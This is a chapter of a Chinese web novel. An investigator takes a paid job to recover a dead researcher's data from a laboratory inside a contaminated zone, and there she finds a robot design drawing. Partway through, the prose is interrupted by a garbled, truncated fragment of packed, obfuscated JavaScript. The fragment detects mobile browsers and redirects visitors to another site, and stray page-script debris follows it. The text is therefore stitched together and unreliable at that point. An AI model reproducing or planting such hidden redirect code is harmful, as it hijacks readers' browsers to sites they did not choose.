零号小组在米斯特里奇出外勤的时间比预料的要久，他们回到晶海城时，熟悉的故乡已步入了初冬。


    他们下了飞机就直奔特防部，好在有叶其卓这样万事都有准备的人，对之后要面对的工作早有预料，没有花费太多的时间。


    只是回到特防部后听到的消息却不太乐观。


    “在这一个月内，息壤、默痕以及归尘这三个相邻的污染区都出现过异常变动，在月中爆发过一次高强度零素霾。”叶其卓整理着收到的资料，转变到了工作模式。


    所幸没有特别严重的情况，即使零号小组不在，作战司其他的小组也都应付得来。


    这一年内类似的变动还有不少，这代表着污染区变得活跃了。


    “什么？这么频繁？”唐皎皎在工位上强打精神，“有种后面也闲不下来的预感。”


    她说得很对，在忙碌的时间里，海外的冒险经历就像两地间的距离一样，悄然从每个人身边远去。


    林薇明属于零号小组的编外人员，过于简单以及涉及特防部高级机密的工作，她都不会参与，但她也乐得自在，工资和奖金已经到手，在路北嘉为她在黑市找到容量更大的电池之前，她的银行卡里终于有了一串赏心悦目的数字——虽说它的存在只是暂时的。


    更重要的是，特防部把之前没收的灯塔网账号还给了她。


    “上次的案件已经了结，你也没犯过什么错，已经帮你把数据给恢复了。”叶其卓说，“只是……虽说我们想查都查得到，但还是希望你切记接过委托要主动上报。”


    林薇明算是被牢牢控在特防部的手下了。


    可是没办法，他们给的实在是太多了。


    她拿回了灯塔网的老账号，回家后就立刻重新登录。


    污染区频繁变动后，灯塔网的氛围也不似从前。


    【不想做业余调查员了，感觉污染区比之前更危险了。】


    【打算先干点别的，等污染区稳定了再重操旧业。】


    丧气的帖子一篇接着一篇，倒是把委托都给盖了下去。


    【吓死我了！我怎么会听到畸变物讲话！】


    畸变物说话？


    林薇明在米斯特里奇也有同样的经历，她事后问起过离迪维努斯比较近的周星晓和孟燃真，他们都表示没有听到。


    【楼主：可能有人要笑话我，但我发誓绝对是真的！听到第一句我也以为是错觉，但结果又听到了第二句第三句，给我吓得连滚带爬跑路了！我怀疑了半天自己也要变成畸变物了，甚至去医院做了全套检查，一点问题都没有！】


    【2L：楼主你真没做梦？】


    【16L：好奇畸变物说了什么。】


    【楼主回复16L：想起这件事吓得我忘了说，听到这个感觉就更诡异了！不是什么电影动画片常有的“救救我”、“好痛”之类的，它居然在说“好饿，想吃红烧肉”。哇塞，我看它往我这走过来，是把我当成红烧肉了！】


    【22L：复读，楼主你真没做梦？】


    【25L：我也想吃红烧肉。】


    【29L：别开玩笑了，这事细想起来确实挺吓人的。】


    林薇明快速浏览了一遍剩下的内容，除了受了惊吓的楼主，没人严肃看待这个问题，大部分人都没有亲自面对这个场面。


    所以她自然没找到解释畸变物说话的原理。


    她不知道畸变物说话是否存在特殊的触发条件，唯有这件事在畸变物中具有普遍性，遇见的人越来越多，才有可能得到重视，才会有专业人士去研究。


    林薇明操作鼠标，要关闭这个界面，右下角却忽然弹出了一条消息。


    【您有一条新的指名委托。】


    生意来得这么快？她的账号才恢复不久。


    林薇明点开了聊天框，委托人的账号名叫“榕树”，交给她的是一则寻物委托。


    寻物一般而言是最简单的，东西拿到手就可以走人，犯不着要指名林薇明这种级别的调查员。


    【榕树：我有一个搞研究的朋友，她在污染区里有两个实验室。她生病去世，又没有别的家人，我想把她重要的研究成果从实验室里取出来，妥善保管。】


    【0012：为什么要在污染区里做实验？】


    林薇明最初是不多过问委托人的情况的，但今时不同往日，还有人管着她呢，她不得不多问几句。


    【榕树：因为她的产品比较特殊，容易被那种为了获取利益不择手段的人给盯上，只能选择隐蔽的地方工作。】


    正经研究会和那种不择手段的人联系上吗？


    林薇明看着对方发出了一个相当正式的合同文件，这在她所有的委托里可谓见所未见。


    【榕树：我想那份资料应该存在她的电脑里，如果没人去取，你把硬盘拆下来就好了。它不仅仅是她的成果，对我来说也非常重要。】


    【榕树：我可以先付你5000的新纪点作为定金。】


    又来了一个提前付高价的委托人，而且这不过是定金而已啊？


    林薇明现在的收入条件是在渐渐改善，但并不代表她能拒绝收到5000新纪点的定金。


    【榕树：我家是开公司的，还算有一点资源，事成之后如果你有什么需要的，我也可以帮你弄到手作为报酬。】


    【0012：看来你朋友的资料对你确实非常重要。】


    【榕树：没错。】


    【0012：请把地点告诉我，我会先去调查。但是能否完成委托我必须去过之后再告诉你，不行的话我会退款。】


    先敲定吧，她也给自己留了回头的余地。


    林薇明等着对面发来详细地址，对方却说自己是很久以前跟着朋友去过那两间实验室，由于时间太久，她只记得周围的地点作为标志。


    【榕树：第一间实验室就在息壤低风险区，我记得它东面是以前的晶海城第七中学。西面的话，是个小公园，里面有个雕像，我之前去的时候还没有塌。实验室就在两者之间的居民区地下室里。】


    这可真是太详细了。


    【榕树：第二间实验室有些远，在息壤和归尘的交界地，而且防护很严密。据我的消息，那些人还没找到它的线索，具体的你拿到第一间实验室里的东西我们再说。】


    事已至此，林薇明只能先去找找。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16454985|178670||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >她是个经验丰富的调查员，再加上机器人脑内已经存入息壤的地图，对找路得心应手。


    晶海城第七中学的大门已经残破不堪。至于附近的那座公园，委托人口中的雕像已经化作石块散在地上。


    中间如委托人所言是有个居民区。


    林薇明发现了需要探索的目的地，却没立刻上前。


    因为她在附近发现了辉光的人。


    那些人就大大方方地穿着印着辉光标记的防护服，手中拿着各色工具：铲子、电钻……看他们集体走来走去的模样，似乎和她一样在寻找什么。


    辉光不会就是委托人口中说的“不择手段的人”吧？


    委托人没有点名，林薇明也无法确信他们是否有同一个目标。


    “找到了吗？”


    “没有。”


    “不是说第七中学吗？”


    “也许在这附近呢，再找找看！这两天必须把东西带回去！”


    林薇明躲在高处，望着辉光的工作人员背过身去，一跃而下，掉落的石块产生了些许响动，但辉光的那群人回头时没看见任何人，随意地检查了一下就离开了。


    辉光还真是什么东西都想染指。林薇明摸到向下的楼梯时，想道。


    所谓的地下室，不过是利用坍塌的建筑物和一些建筑材料在居民区的地下停车场做了隔断。


    正好这里可供电车充电，林薇明推测委托人的朋友就是利用这些东西维持研究的——至于怎么弄来电，她就不清楚了。


    到底是什么研究，让这个人类肯长久地待在污染区里？


    林薇明想想她遇见过的研究狂魔们，他们还真是为了自己理想中的研究毫不顾忌性命。


    此处已经不通电，门上的密码锁已经失去了作用。


    林薇明犹豫了片刻，既然人已经不在，最重要的东西都要拿走，那么这道锁以后应该也用不上了。


    她学会了006曾经强行闯入她家里的那招，直接破坏了门锁。


    实验室封闭已久，林薇明推开吱呀作响的门，一股陈旧的味道扑了过来。


    她拨开了门边的一大片蜘蛛网，一只蜘蛛从上面掉下来，再顺着她的衣袖往下爬，被她甩在了地上——这大概就是这里唯一的生物了。


    这里被收拾得整整齐齐，有几个空着的架子，上面仅剩几本厚厚的文件夹，同样落满了灰。


    她看见在实验室的最尽头有一台电脑，目光落在桌子下方的主机上，如果没有人来过，委托人要的东西就在里面。


    林薇明往前走去，脚下踩到了一张纸。


    她本来对委托目标以外的东西都不感兴趣，但纸上的内容拉住了她的步子。


    这是一个人体的绘图。


    或者说，机器人的设计图。


    这作画的方式她前几天见过。


    正是在厄里克研究所旧日有佘栖存在的记忆里。


    林薇明猛然抬起头，盯住她方才路过的实验台，它的大小、周围工具的构造与摆放……


    这应该都是根据使用者的习惯来打造的。


    林薇明攥紧了手中发黄的纸张，它在她的手里发出脆弱的声响。